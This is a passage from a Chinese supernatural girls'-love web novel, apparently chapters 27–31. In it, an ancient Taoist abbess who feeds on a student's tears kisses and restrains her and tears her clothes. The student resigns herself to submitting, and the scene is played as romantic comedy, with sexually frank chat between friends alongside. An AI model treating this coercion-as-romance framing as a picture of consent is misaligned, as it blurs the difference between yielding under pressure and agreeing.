而傅清微知道,她们的名字将不会出现在任何官方通报里。 人们永远也不会知道,在这场几乎称得上天灾的暴雨里,牺牲的还有两个二十多岁的年轻人。 如果不是傅清微刚加入灵管局,她也不会知道,原来看似和平的背后,付出的代价是默默无闻的生命,远比她想象的沉重。 “水做的吗?这么多眼泪?” “对不起。”傅清微才发现自己泪水从眼眶掉了出来,忙用手去擦。 穆若水口中说着不待见的话,手却老实地递来柔和的面巾纸。 傅清微接过,低声哽咽说谢谢。 穆若水往她的电脑屏幕上扫了一眼,说:“灵管局这次死了两个人?” 她发誓她已经够温和了,都没有说那帮废物点心,草台班子之类的,不带攻击性,也非常平静,但这话仿佛打开了傅清微的泪阀。 她刚刚止住的眼泪立刻决堤。 虽然素未谋面,但死的两个人也是她的同事,差一点,就会有她认识的第三个人。 “占科长现在还在医院里没有消息……” 一张面巾纸堵不住眼泪,穆若水干脆将整包都拿了过来。 “至于吗?你都不认识她们。” “呜呜呜……” “好好好,至于至于。”眼看傅清微被自己惹得越哭越凶,穆若水没了脾气,连忙妥协安慰,“我不该说话。” 穆若水虽示弱但不理解,哪怕灵管局的人全死了,人类灭绝,她也不会有任何感觉。 相比穆若水这个天然情绪过滤器来说,傅清微简直情感充沛得随便挤一挤就能出水,填饱她两副骨架。 哪来这么多眼泪?难不成真是水做的? 穆若水好奇,伸出手指在她下巴接了一滴泪水,用舌尖尝了一下。 咸湿,但意外的甜美。 和她的血一样,有一种让她渴求的魔力。 傅清微正泪流满面,一只手抚上她的下巴,扶正了她的脸,在她错愕不解的目光里—— 女人吻上了她的眼睛。 第28章 穆若水尝了两滴眼泪后, 食髓知味地舔了舔唇。 用指腹一点一点地接还是太慢了,她看向泪水的源头——正是傅清微那双美丽动人的眼睛。 于是她伸手端过傅清微的下巴,将她的脸转过来面向自己。 她咽了咽口水, 不知道是因为即将到口的盛宴还是因为她目光一瞬间掠过了年轻女人半启的红唇。 食欲在和另一种情感的较量中占据了上风。 穆若水的视线重新回到了傅清微的眼睛上, 断线的珍珠一颗颗下坠。 穆若水吻上她的眼睛。 珍珠都落进她的嘴里。 傅清微呆住了。 她为什么要突然亲自己? 她到底是不是女同? 她中午是不是撒谎了? 自己怎么就信了她? 接下来要怎么办? 头脑风暴的傅清微又惊又……怕倒没有怎么怕, 满脑子只有怎么办怎么办?女同真在我身边! 眼睫传来一阵温热湿软的扫荡感。 傅清微意识到那是什么以后,整个人僵得像锈了一百年的机器, 再修也动不了了。 穆若水不仅亲了她的眼睛, 还伸了舌头。 谁家好道长会伸舌头啊? 哈哈,完啦。 傅清微颇有种破罐破摔的豁出去感。 待会一定要逼她剪指甲! 她内心疯狂加戏, 电光火石间把最后一步都脑补完了, 成百上千个念头闪过,不是涩涩就是更涩涩,没有一个是关于灵管局的, 自然而然也就流不出眼泪了。 穆若水:“?” 戛然而止。 穆若水放开她的眼睛, 问道:“你怎么不哭了?” 傅清微想起白天那次,回她:“我哭你就会放过我吗?” 穆若水:“你哭了我更不会放过你了。” 傅清微:“那不就得了。” 同样的方法不能起效两次,所以她觉得逼道长剪指甲比哭更重要。 穆若水:“……” 但她不哭怎么有眼泪? 两人牛头不对马嘴又歪打正着地聊完了天。 穆若水沉默下来。 傅清微见她不动, 心情看起来也没有很暴躁,于是试探道:“我给你剪指甲?” 穆若水:“?” 她低头看向自己的右手,她指甲长得快,自己又没有合适的工具, 偶尔是影响生活,虽然不知道为什么傅清微主动提起帮她剪指甲的事, 但姑且算她一片孝心。 穆若水金尊玉贵地一颔首:“可。” 傅清微把全套修甲工具都拿了过来, 灰色皮革小包的拉链拉开,把穆若水的右手放在自己大腿上, 开始修剪。 指甲刀清脆的声音响起在客厅,傅清微每听一次,都觉得是自己亲手把对方侵犯自己的武器变得锋利趁手。 有没有可能现在从天而降一个人来救她? 占科长在医院来不了,来了也是被一根手指按死的份。 她紧张得鬓角流下一滴汗。 穆若水凑过来亲了亲她的脸。 傅清微手一抖,指甲刀落在地上。 汗液的味道不如眼泪,勉强亦可入口。穆若水在心里品鉴完,看向掉在地上的指甲钳,手一捞捡了起来,递给傅清微。 她自认为友好地勾了勾唇,傅清微两眼一黑,耳朵里嗡嗡的。 这是在威胁她不要故意拖延时间吗? 傅清微加快了速度,把她两只手的指甲都剪了,又细致地磨到圆滑没有毛刺,视死如归地收好了工具。 穆若水很久没有手指这么清爽的感觉了,对着光检查了一番,十分满意。 “以后剪指甲的事就都交给你了。”穆观主发话道。 傅清微差点直接晕过去。 还有以后? 她打算上自己多少次,难道一天又一天,一月又一月,一年又一年? 一天可能还不止一次。 死了算了。 “对了。”穆观主想起来,抬手扬了扬自己的袖子,整齐搭在腿上,仰起下巴说,“你的眼泪,以后也归我。” 这是打算把她X哭在床上? 傅清微不堪折辱,义愤填膺道:“你杀了我吧!” 穆若水也呆住了。 “我为何要杀你?” “与其在你身……手下受辱,不如一死,但求清白!” 穆若水震惊:“我辱你哪里了?”她对她还不够好吗??? 傅清微:“你正要辱。” 穆若水:“你且说说看。” 傅清微说不出口。 “你让我以后每天给你剪指甲,你心里明白。” 穆若水不明白:“让你剪个指甲而已,是什么很难的事吗?我住在这里贴身保护你,还没问你要报酬呢。” “报酬归报酬,那你也不能……不能……” “不能什么?” 傅清微脸色窘迫,心说:不能馋我身子。 她是什么很贱的人吗?可以为了命出卖身体。 穆若水哼声:“说话!” 傅清微脖子一梗:“要杀要剐,悉听尊便!” “……” 穆若水真想掐住她脆弱的脖子,扭断算了,她回山上睡觉,省得她半夜把自己气死。 穆若水果真用手抚上了年轻女人纤细的颈项,仿佛下一秒就准备掐死她。傅清微闭着眼睛,不争气地湿了眼睫毛。 女人伸舌舔了舔。 气消了不说,反而深感愉悦。 “你的眼泪和血一样香甜,乖,再多哭一些。” 这是什么变态语录啊? 傅清微哭得更厉害了。 她有生之年,小小年纪怎么会碰到比鬼还可怕的道士? 傅清微哭得根本停不下来。 穆若水心满意足地尝了个够,再哭下去影响她下次进食,于是穆若水打断她说:“够了。” 这哪是她说停就能停的。 傅清微仍哭了半天,穆若水秉承不能浪费的原则,喝了个饱。 待终于停下来,傅清微哭得红肿的眼睛被她又亲又吻,愈发可怜。 穆若水的食欲又上来了。 和方才不一样,她想吃其他地方。 过犹不及,穆若水刚饱餐一顿,忍了下来。 “哭什么?不过要你一点眼泪。” 傅清微哭累了,也不管待会迎接她的是不是继续X哭在床上,坐在沙发一动不动。 穆若水大发慈悲地去给她倒了一杯水,傅清微没有反应,她就放到她手里。 “喝一点,补补水。” 熟悉的对白把傅清微拉回到白天的记忆,她扭头看着穆若水,不抱希望地问了一句:“结束了吗?”她又放过自己了? 穆若水餮足地嗯了声:“结束了。” 感觉接下来很久都不用进食了。 如果傅清微非要喂她也没办法。 傅清微把水喝了,庆幸自己又逃过一劫的同时,又从心底生出麻木。 逃得了今天,还有明天,后天。跑得了和尚跑不了庙,她俩同居屋檐下,穆若水想拿她翻来覆去的爆炒也就是一伸手的事。 自己唯一能做的就是帮她剪指甲,然后敞开让她进来。 是暗示自己直接斯德哥尔摩,逆来顺受,还是把话说清楚,不惜代价送神归山?代价可能是原地暴毙。 傅清微选三。 “观主,我有件事想和你商量。” “说吧。”穆若水躺着沙发里,来回翻看自己的手,对干净整齐的指甲爱不释手。 傅清微特意避开落在她手指的视线,说:“如果你真的想对我做什么的话,我们商量一个章程。” “什么章程?”穆若水顺着她的话问。 “比如说频率,一周一次或者一月一次,或者两次三次,也行。还有,你有的话过于变……尺度大,我听了很不适,如果你非要说,留到床上。还、还有,请一定要温柔一点,我觉得舒服了,对你,您……也有好处的,不是吗?” “……” 穆若水的沉默震耳欲聋。 傅清微:“?” 是哪一条她不满意吗?频率太低了?第三条能满足的话,高、高一点也不是不行。 穆若水冷道:“你还对别人说过这样的话吗?” 傅清微摇头。 穆若水:“如果我没理解错的话,你是想主动献身?” 傅清微点头,又摇头。 “是你要我……” 什么主动献身?明明是她要自己的身子! 观主这一言难尽的表情是什么意思? 她看不上自己? 又看不上自己又要上自己,闭着眼睛上吗?别太过分! 穆若水:“我不想与你多费口舌,你自己想想我是不是这个意思,从头开始想!” 穆观主下了命令,拂袖回了卧室。 留下傅清微一个人在客厅里孤独地复盘,从头开始,头是哪儿来着? 她因为灵管局同事牺牲忍不住哭了,然后穆若水吻她眼睛,还一点一点地温柔含去了她的眼泪。 傅清微:“……” 这么引人遐想的剧情却不让她往那个方向想,穆观主是在为难她小猫咪。 以她一个现代人的思维,浸淫影视剧和小说,她实在无法从她暧昧的举动中解读出第二个答案。 傅清微拿起手机,选择场外求助。 傅清微:【现在有女主A和女主B两个人,她们在女主A家的沙发独处,女主A因为一些事伤心落泪,女主B亲了她的眼睛,吻去了她所有的泪水。重点,还伸了舌头舔。 之后她们有一番关于哭不哭的对白,女主B说“如果你哭了我就更不会放过你了。” 女主A说给女主B剪指甲,剪指甲的过程中两个人靠得特别近,女主B还凑过来亲了女主A的脸,仿佛等不及的样子。 剪完指甲后,女主B很满意,并且表示:“以后剪指甲的事都交给你了。” 她还说:“你的眼泪,以后也只属于我。” 过了会儿,在女主A又哭出来的时候,她一边急切地吻她一边说:“乖,再多哭一些。”】 傅清微:【请问,你觉得她们俩在做什么?】 甘棠“正在输入”了好一会儿。 【太刺激了姐妹,看得我这脸红心跳的,差点湿了,这是什么新片吗???速速交出链接,好涩[热血沸腾.jpg]】 傅清微信口开河:【是我刚看的一本小说】 甘棠:【把文名交出来!就要涩涩就要涩涩】 傅清微:【先不急着报文名,你觉得她俩在做什么,或者女主B想做什么?】 甘棠:【当然是想做A啊!这不是已经do了嘛,倒数第一段和第二段之间兰博基尼开过去了,车速太快】 甘棠:【预感到我会是女主B的粉丝,好A啊,女王攻YYDS】 甘棠:【啊啊啊啊后续是什么?】 傅清微:【后续是女主B回房间了,把女主A留在客厅,让她反思,为什么会觉得自己想要do她】 甘棠:【?????】 甘棠:【我收回粉丝那句话,真渣啊,管撩不管埋的是吧,最讨厌这种把人性欲挑起来,又拍拍屁股走人的攻了,有追妻火葬场吗?火给我烧得旺一些!】 傅清微:【还没看到那里】 甘棠:【那女主A有感觉吗?湿了吗?】 空气安静。 傅清微沉默了一会儿,指尖在键盘轻轻敲击出回复—— 【有】 第29章 傅清微回复:【有】 有是有, 但没有湿了那么厉害。 而且她的感觉与其说是穆观主对她做那些事情的时候产生的,不如说是在她复盘时极尽想象,自己把自己脑补得心跳加速, 暧昧蔓延。 穆若水那么对她的时候她害怕居多, 还有一丝丝可以忽略不计的因为好奇而产生的期待。 傅清微:【有心跳加速, 其他的文里没写,我也不知道湿没湿, 女主A还是个纯情女大】 甘棠:【那女主B呢?年上?】 傅清微:【是吧】也就大了那么一百多岁。 甘棠:【太香了, 姐妹,你背着我吃这么好?】 傅清微一瞬间还以为自己哪里露出了马脚。 下一秒甘棠:【文名和链接在哪里?我要速速前去品鉴!】 傅清微:【《犯上》玄笺写的, 在绿江】 甘棠:【才写了二十九章???还是连载啊, 我要追更了,我倒要看看女主B有没有火葬场】 傅清微:【有没有可能女主B真的不想do女主A呢?】 甘棠:【那我今晚就穿书!按头也要把她俩按一起。】 傅清微:【倒也不用这么拼,你先看文吧, 我有点事】 甘棠:【去吧去吧, 礼尚往来,我最近看了部片儿,颜美活好, 资源发你,不要客气[点击链接观看]】 傅清微产生了一丝微妙的感觉。 傅清微:【你最近怎么老发我一些姬片,不会是想潜移默化的掰弯我吧?】 甘棠一本正经:【怎么说呢,弯者自弯, 你要真是直的也不会因为看两部女同的船戏就弯了呀,如果你是弯的, 那我这是在做好事, 你得谢谢我替你找到真正的性取向】 傅清微:【我现在就谢谢你】 要不是甘棠大学前三年春风化雨,以及第四年加大剂量下猛料, 她也不会思维这么活跃。 甘棠:【不用客气,回头请我喝奶茶就行[害羞.jpg]】 甘棠从入学就是傅清微的颜粉,后来熟了以后更觉得她性格好,人品也好,自知不配攀折这朵高岭之花,直接进化成了妈粉。 每次听到有男生向她表白,她比傅清微还着急,生怕她答应。那些臭男人哪里配得上她?妈妈不允许!虽说女生里也有人渣,但概率可以说是大大降低,实在大学要谈恋爱,选个干净漂亮的女生,偷尝禁果风险也小。 好在傅清微没有表现出对男人的任何兴趣,甘棠暂时放下大石,并且拉着她一起看同性片,赢在起跑线上。 傅清微要兼职很忙,虽然没多少空看几部女同性恋电影,但看异性恋的时间更少了。 甘棠严防死守,守着她到了大四,告白的男生全都折戟,甘棠很欣慰,并转手向傅清微发送了一部女同船戏。 傅清微看完了,去厨房倒了杯水,慢慢喝完了,过了会儿还是去洗了个澡。 身下有点黏腻,但是不多。 傅清微成年后,也会自己去找生理教育的动作片满足好奇心,异性恋的她也看过,和看甘棠这部的感受差不多。 同样有感觉,虽然不多。 但是她看这两种片子的共同点是,她只看那个女生的脸。 她的心跳、反应以及涌动的暗潮都是因为画面里女人的表情和声音。 傅清微曾经以为她是同性恋过,直到她刷到好多直女也这样说,她们也只喜欢看片子里女的反应。 傅清微:“……” 她还是对直女的认识不够深刻。 自己没有幻想过要和女生发生关系,姑且认定是不喜欢女生的吧。 至于男的,她不喜欢男的离她太近,就像观主说的,气味污浊。更别提找男朋友了。 甘棠的担忧属实是杞人忧天。 而她的潜移默化也有了成效。 正因为傅清微知道女生之间怎么暧昧,又阴差阳错和穆观主朝夕相处。从来没有一个人,哪怕是同性,距离她这么近,还动不动肢体接触,亲她抱她,导致她总是自动代入那些小说和电影里看过的情节。 内秀的人脑补能力往往和她的社交能力成反比。 甘棠的药下得太猛了,幸好她看的船戏片还不够多,否则她脑子里就不只是暧昧前戏了,是动不动按在床上激战,水花四溅。 傅清微关掉了和甘棠的聊天界面,没有看她最新分享过来的片,再看就伤身了。 既然穆观主今夜不打算对她做什么,她现在脑子里也想不明白什么,干脆睡一觉起来再说。 穆若水在房间被傅清微气到头发晕,就因为自己帮了她两次,什么都没说,她就要主动献身,还打算给她提供长期服务,她怎能如此不自爱?! 若是换一个人,她也会这样做吗? 真有人敢碰她一分一毫,那她就杀光那个人全家!罪魁祸首千刀万剐! 简直气死她了! 穆若水气得在屋子里走来走去。 她要是想不清楚进来道歉忏悔,知道自己错在哪,别想自己日后给她好脸! 穆若水决定好了惩罚,深吸了一口气,停下脚步。 然后她听到外间传来的幽微的均匀的呼吸声。 穆若水打开房门走出来,看见在沙发上睡着的傅清微。 “……” 穆若水气不打一处来,伸手去拽她衣服:“起来!” 她正在气头上,下手没控制住力度,指风带过,傅清微那身扣到领口的长袖睡衣“撕拉”一声,瞬间只剩下四粒扣子还完好无损,最后一粒滚过雪顶,擦过红樱,咕噜来到地面,滚落到穆若水的脚边停住。 傅清微懵懂地睁开了眼睛,低头看到了自己几乎不着寸缕的胸口。 “啊——” 她张开了嘴巴,惊恐的叫声本能从她的喉咙冲出来,到唇瓣被封住,只泄露短促的半秒。 穆若水伸手捂住了她的嘴。 半夜睡着衣服被撕,嘴巴被捂住,那个人还单膝跪在沙发边,身体半压下来,阴影笼罩在自己身上,谁都能猜到自己正在遭遇什么事。 泪水本来该从傅清微漂亮的眼睛里大颗地溢出来,但是她现在一滴眼泪都哭不出来。 也没有想哭的冲动。 就是累了。 身心俱疲。 穆观主到底想把她怎么样,是X哭还是X死都无所谓了,她只求一个痛快。 穆若水头疼道:“不准叫。” 傅清微乖乖地点了点头。 穆若水试探性松了捂嘴的力道,傅清微果真没叫,没蒙住的上半张脸眨了眨眼,怪可爱的。 穆若水撤开了手。 傅清微:“观主,你喜欢什么姿势?” 穆若水:“什么?” 傅清微:“强制会让你比较有感觉吗?” 穆若水皱眉:“你在说什么我听不懂,正常点。” 傅清微正常不了了,她已经疯了,在穆观主一而再、再而三地亲她没有下文,剪完指甲不说清楚,准备要上她却故意不告诉什么时候,在她放松下来以为逃过一劫又毁了她的衣服,让她一丝不挂。 傅清微彻底疯了。 既然这件事一定会发生,她又反抗不了,为什么不放松身心、主动去享受它呢? 就当自己付过钱了。 穆观主是她招来的……那个。 温不温柔无所谓了,也许粗暴一点会更爽。 傅清微已经无所顾忌了。 “观主……” 傅清微唇角缓缓扬起一个笑容,主动牵起穆若水的手,覆在自己的腰腹,她本来是想直接放胸口的,没下得去手,这点主动权可以交给穆若水自己,迟早会到上面。 “观主,你的手怎么不动?” 穆若水单手撑在她脸颊旁边,低头看着她美丽的眼睛,指尖顺势落在她的侧腰,缓缓地游弋了一下。 傅清微感觉有一种声音要从身体里出来,她本来可以轻易忍住,但是没有克制的,从鼻腔里轻轻地嗯了一声。 穆若水的头低了下来。 傅清微配合地仰起脸,细弱的脖颈向后折。 温热的吐息打在她的颈项。 傅清微本能地轻轻颤抖。 穆若水又把脸抬了起来,看着她道:“你一定要这样吗?”一定要这样报答她? “哪样?”这不正是她想要的吗? “没什么。”穆若水重新埋下了头,这次她的唇去往了傅清微预料的地方。 她颤得更厉害了。 不是因为亲了哪里,而是女人的唇太冷了,像含了一块冰。 当她的手也覆上来的时候,傅清微终于忍不住叫了一声。 太冷了,虽然现在外面也是冬天,但穆若水给她的感觉就像掉进了数九寒冬里,冰天雪地。 除了冷,她什么都感受不到。 这下她连安慰自己是付过钱的都做不到了,谁付过钱能招来这样的? 她眼睫蒙上一层浅浅的水雾,汇集到修长的眼尾,成了一滴泪,却没有让这滴泪滑落,女人的手指接住了它,含进嘴里。 虽然很想要她的眼泪,但此刻仍然作罢。 “你真的是水做的。”女人叹道。一晚上哭多少次了。 “上面有,下面又没有。”傅清微带着轻微的鼻音反驳道,以为她是故意的。 穆若水偏了偏头,又听不懂了。 她听不懂很多话,但不妨碍她做出选择。 穆若水摊开掌心,把手里的四粒扣子扔进垃圾桶,原来她刚才右手在傅清微身上游走是为了将扣子捡起来。 穆若水仍伏在年轻女人上方,从手和身体的间隙中把被子拽了出来,遮掩住傅清微暴露的身体,彻底坐起身来。 傅清微心想:她是嫌累了吗?还是觉得自己生涩不好操弄?所以才懒得碰她? 穆若水坐到了属于傅清微的那张单人沙发。 傅清微从躺着变成坐着,紧紧地裹着被子,只露出一个乌黑的脑袋,眼神警惕,像蓬莱观后山圆滚滚的花栗鼠,没有一点威胁。 穆若水见她一副防备的样子,忍不住脱口道:“就你那层被子,我随手就撕了。” 傅清微:“……” 这让她怎么相信她不想对自己做些什么。 刚才自己的上衣瞬间消失术还历历在目。 穆若水揉了揉眉心:“算了,你当作没听见。” 巧了,傅清微赢在记性好。 穆若水已经不想等她自己忏悔想通了,再忏悔下去,她全身上下都要被自己榨出水,毕竟她也不是什么道德感很高的……人,送到嘴边的食物,一而再再而三,不吃就不礼貌了。 到时候她就不是哭一两滴眼泪能解决的事了。 穆若水说:“我住在这里贴身保护你,只是因为我愿意,你不需要用这种方式报答我。” “哪种方式?” “投怀送抱,芙蓉帐暖,夜夜春宵。”穆若水一连说了三个词语。 “夜夜?” 傅清微耳根一动。 但她很快强迫自己转移重点,直言不讳道:“不是你要这么做吗?你还让我以后每天给你剪指甲!”不忘添油加醋。 “我什么报酬都不要,让你帮我剪个指甲很过分吗?你不想剪可以拒绝。”穆若水也生气了。 “你没说是帮。” “我现在说了,你不愿意可以拒绝。” “那好,我不愿意。” “……” 穆若水梗住,哑口无言,本该没有感觉的胸腔滋生出酸涩。 “算了,我回去了。”这两天她们相处的和谐表象只是她的错觉,她以为可以和她度过凡人的一生,但她的青雀落到凡间就变了,不再哄她顺着她,变得和她针锋相对,看她的眼神畏惧而警惕,又可以为了保命轻易把自己的身体交出去,变得……她不认识她了。 她也是一个庸俗的凡人,不值得她为她停留。 傅清微看着她的背影走进了卧室,没多久便出来了,衣冠整齐,穿的是她来时的红衣鹤氅,连靴子都穿好了。 穆若水背对她走向阳台,头也不回。 “你去哪儿?” 穆若水没有回答她,一个呼吸间,消失在黑夜里。 第30章 “道长!”傅清微想也不想地追上去, 然而她衣服没穿,差点儿直接走光,回来裹起被子直奔阳台。 四周黑漆漆的, 因为暴雨路灯大面积断电, 放眼望去一片浓墨, 更加看不见穆若水的身影。 傅清微怔怔地被遗失在空气里。 她不知发了多久的愣,一转过身, 红衣道袍的女人正站在她面前, 眉眼冷冽。 傅清微吓一跳,声音克制道:“你回来了。” 穆若水冷漠地伸手:“拿来。” “什么?” “佛珠。” 傅清微低头看了眼左手的红绳, 第一个反应竟然是用右手盖住它。 不是她舍不得佛珠, 而是预感到佛珠若是给出去,穆若水恐怕真的会一去不回。 “不给。”她壮了壮胆,胆大包天地拒绝道。 穆若水失了耐性, 直接上手去夺, 细声细气带着啜泣的声音在她面前响起:“疼……” 穆若水:“……” 她还没有碰到她。 傅清微示弱奏效,趁热打铁,望向穆若水的眼神楚楚可怜。 穆若水在心里叹了口气, 冷脸质问道:“你究竟想干什么?” 她这话不说还好,一说傅清微也委屈起来。 “明明是你想要干什么吧,你想做什么我都答应了,怎么反过来好像是我的问题。” “我只是想让你给我剪个指甲, 我有错吗?” “你没错!你剪指甲之后的事我也答应了,你为什么又要走?出尔反尔!” “剪指甲之后什么事?”穆若水问她, 努力让自己心平气和。 她就想知道剪指甲到底怎么了, 她来来回回地强调,好像是天大的事。等等, 她这副反应,该不会真是天大的事吧? 傅清微差点又不争气地哭了,眸子里泪光点点,忍住没有掉出来。 声音却泄露了她委屈的情绪。 “就是你刚刚撕我衣服,对我做的那件事。” “说直接点。”穆若水已经不想和她绕弯子。 “上我。” 近距离面对面,穆若水的耳朵被这句冲口而出的话震了一下。 这是陈述还是又一次请求? 穆若水有几秒没有反应,傅清微好不容易忍着内敛把这两个字说出来,绝望地怀疑她似乎听不懂,难道民国的“上”没有动词的意义? 傅清微声音低了低,耳根不自禁地发红,说:“睡、操、□□?”再听不懂她也不知道要用什么词了。 穆若水语速极快地打断她:“够了!” 她眼皮子忍不住激跳,都是些什么不堪入耳的字眼。 她究竟是从哪里学来的? 傅清微退后了半步,又望了她一眼,小声说:“我说清楚了吗?” “没有。”穆若水似乎怒意更甚,一把攫住她的手腕将她从阳台往屋里带,傅清微惊叫一声,被子从身上剥落,在她走光以前,穆若水将她连人带被子捞到怀里,打横抱了进去。 傅清微仰脸看着近在咫尺女人漂亮的下颌线条:“……” 就在每一次她要相信观主是单纯的,对她没有任何非分之想的时候,她总会用实际行动戳破她不切实际的幻想。 谁家正直的好道长会动不动把一个她不想对她做任何事的女大学生抱来抱去。 哈哈,开什么玩笑。 傅清微狠下心,伸手摸了一下观主的脸。 都是她摸自己,自己反过来摸她一下怎么了,反正待会脱光了碰到的更多。 她占回去一分便宜是一分。 起初她手指碰到第一次脸,穆若水以为是无意,偏头避了一下,傅清微顺势捏上她的耳朵,得寸进尺。 再怎么脾气暴躁的人,耳朵也是软软的。 穆若水抱着她,没手去阻拦,只是再次用力地偏了一下头,口头呵斥道:“你大胆!” 傅清微浅浅一笑:“我大胆又怎么样?” 穆若水:“……”她还真不能拿她怎么样。 那句“信不信我杀了你”已经毫无威胁力,她再恼火也只会离开她,绝不会动手杀了她,甚至不舍得弄疼她。 在傅清微肆意妄为地把女人薄薄的耳朵揉红以后,她回到了客厅沙发。 穆若水坐得离她远远的,仿佛她是什么洪水猛兽。 奇了怪了,害怕的不该是自己吗? 穆若水深吸了一口气,义正词严:“我接下来的话,请你听清楚,而且不要再发散出我没有说过的内容。” 傅清微微微一笑。 笑死,她根本不信。 今天说完明天她又要亲自己了,晚上还会爬自己的床。 再信这个女人的鬼话她就是小狗。 穆若水无端有种心虚,支撑起强大平静的表象,说:“我住在这里,不需要你的任何报酬,除了你帮我剪指甲,还有你的眼泪。我刚刚尝过,你的眼泪和血对我来说有一样的效果,如果你宁愿接着提供血液供我吸食的话,眼泪我也可以不要。至于前者……” 她想起方才傅清微说的那些不堪入耳的字眼,顿了顿,说:“我不知道你怎么把剪指甲和睡你这两件事联系在一起的,在我这里,剪指甲就是剪指甲,没有引申义。” 傅清微的笑容慢慢消失。 “真的?” “我没有骗你的必要。” 确实,以她的实力,现在就可以睡她八百遍,何必同她好声好气地解释。 “那你为什么亲我?该不会——是为了我的眼泪吧?”傅清微差点站了起来。 穆若水莫名地看着她。 “你以为呢?” 比如说喜欢我之类的…… 傅清微根本不敢说出口,迎接她的肯定是穆观主无情的嘲笑。 傅清微仍有一个问题不解:“你为什么总是抱我?” “我……”穆若水答不上来。 “嫌我走得慢?” “嗯。”穆若水用鼻音闷闷地应了一声。 傅清微趁机把为数不多的主动权握在手里,反客为主认真道:“如果你不想我误会,就不要经常做出让人误会的举动。” 穆若水似乎在走神,垂着眼睑在光线下,侧脸竟有些少见的落寞。 不久以前,那日山上傍晚,她在夕阳下踏入棺椁,也是这样的神情。 傅清微目色温柔了些:“道长?” 穆若水自迷失中回过神智,也问她:“那日我问你为何不愿一直待在山上,你说你不愿为了苟活舍下努力获得的生活,现在却可以为了苟活牺牲你的清白、舍弃你的自尊吗?” 傅清微叫屈:“我什么时候为了苟活,不是我误会你想要……睡我吗?” 穆若水点点头,不以为然:“我误会了你要献身,你成全我的误会,愿为我献身,这难道不是你自愿的吗?” “……” 傅清微张了张嘴,发现她没办法反驳。 说一千道一万,她实在不愿意可以跑,宁为玉碎不为瓦全,她没有那么怕死。但她兜兜转转,还是没有离开她身边一步,明知她会对自己做什么,可不就是自愿吗? “不管是为了报恩,还是为了苟活,你愿意用自己的身体去取悦救你命的人,这不是我认识的你。”穆若水看向她的眼神里浓浓的失望。 傅清微直觉她说的不对,薄唇阖动。 “有没有可能,如果换一个人,这件事就不成立了。”她慢慢地转动大脑,边思考边语速轻缓地说道。 “嗯?” “我只是……”想取悦你,只有你。 不行,这话说出来有点太暧昧了,傅清微晃了晃脑袋,换了一句。 “因为救我的人是你。” “所以?”穆若水挑了挑眉。 “就像世上那么多人你只让我靠近一样,只有救我的人是你,我才是自愿的。” 穆若水没办法解答为什么她只让她靠近,为什么总是抱她,傅清微取巧地用了一个她无法深究的类比,完美地把问题抛了回去,解了自己的困局。 穆若水果然哑口无言。 她不记得很多事了,偶尔想起忘的只会更多,有的答案不是她不想知道,而是她不能。 “你的意思是,除了我,别的人都不行是吗?”她无意识地抿着唇,抽丝剥茧地从一片混沌里慢慢提取出一句话。 “可以这么说。” “为什么?” 傅清微眼皮跳了一下。 生怕穆若水下一句话就是质问她:你是不是喜欢女人?以及:你喜欢我? 她再用上面的车轱辘话就没用了。 好在观主与其在问她,不如说是自言自语,她没有想得到一个回答,因为她内心荒芜的冰原里什么都没有,开不出花,空空如也。 误会解除,事情短暂告一段落,穆若水不走了,暂且高抬贵手放过了她。 “我回去了。” “回哪儿?” “回房睡觉。” 不是回山上就行,傅清微松了口气。 穆若水起身走到客厅中间,不忘回头警告她:“你不准再胡思乱想。” 傅清微矢口反驳:“那你不许对我暧昧!” 穆若水招牌式的冷哼一声:“由不得你。” 傅清微睁大眼睛。 只许州官放火,不许女大点灯。哪有这样的道理? 穆若水见她眼神垂敛,红唇不停开合,却没发出声音。 穆若水扬眉:“你不服?” 她大步流星走了回来,伸手捏住傅清微的下巴,让她的眼睛直视自己。 傅清微对上她浓墨似的眼珠,气焰顿时弱了下去。 她小小声商量,奉承的口吻:“不敢,只是这样做未免有损观主公正的美名。” “我何时有这种美名?”穆若水唇角快意,根本不吃这套。 “如果你答应我了,不就有了?” “对我的好处是……” “得到我的尊敬。”说出这句话,傅清微自己都快把自己逗笑了,什么胡言乱语。 “不错,你的尊敬对我来说确实很重要。” 哎? 傅清微诧异看过去。 “但是和剪指甲相比,就不值一提。”女人嘴角噙着笑,眼神捉弄。 “……” 被耍了。 穆若水玩味地挑起她的下巴,再一次端详她这张有几分姿色的脸蛋,唇红齿白,烟波温软,肌肤吹弹可破,抛开食欲来说也赏心悦目。 要不是她没有人类的感情,凡人的七情六欲于她早已是过去,说不定她真的会沉迷美色,养在身边,将她一口一口地拆吃入腹,夜夜春宵。可惜…… “我不会睡你。”女人再一次承诺道。 在傅清微涌起希望的下一秒,将她打入深渊。 “但不保证不做其他的事。”她深深地嗅闻了一口带着她气息的空气,慢慢靠近她的脸,极近地望进她琥珀色的眼睛,“你对我而言是特殊的,我会保护你,你需要付出一些代价,来满足我的欲望,确切来说,是食欲。剪指甲是附带。” “食欲?” “你很香,我在你身边经常忍不住。”穆若水的食指轻轻勾起她耳畔一缕乌发,暧昧缠在指腹。 “所以你才总是抱我?”傅清微恍然大悟,替她找好了理由。 “或许吧。”反正穆若水自己也想不清楚。 “等等,你不会把我吃了吧?” “不会,我不吃人。”穆若水笑起来,“我喜欢完整的你。我还要你的眼泪呢。” 傅清微完全没有松一口气,她不知道穆若水口中哪句是真哪句是假,姑且相信那句不会睡她是真的。 不过观主平时话不多,这次破天荒说这么多,事出反常必有妖。 “我说这么多是在向你解释……” 穆若水松开手指勾着的墨发,一只手往下掌心抵住她的后腰,若即若离地抱着,下巴低了低,借着身高优势来到她的耳廓和侧颈。 “也是为了告诉你……” 她的薄唇在傅清微敏感的耳根游弋,在傅清微骤然加快的心跳声中,印下了一个带着湿意滚烫的吻。 “我可以做,你不能想。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 穆若水迤迤然离开了客厅, 毫不拖泥带水,只在傅清微耳边留下了那句话。 她自以为说得够清楚了,傅清微也听得很清楚。 她不会睡她, 但不保证不抱她, 不亲她, 甚至做更多前戏。 边缘性行为就不算性行为吗? 在穆观主那里估计是不算的,傅清微又不是无知无觉的木头, 她做了那么多她当然会想, 而且想得很深。 但穆观主不准她想。 人在屋檐下,不得不低头, 傅清微好不容易说服自己以后要做一根货真价实的木头, 抬头一看,这屋檐还是她自己家的,顿时悲从中来。 引狼入室, 羊入虎口, 亡羊补牢……狼都进大本营了,再补它有什么用,还是与狼共舞吧。 傅清微最大的优点就是想得开, 承受能力强,对于无法改变的事不会沉溺在负面情绪里,退一万步说,观主至少保证不会睡她了, 她能睡个安稳觉。 傅清微异常清凉地躺进沙发里,准备睡觉。 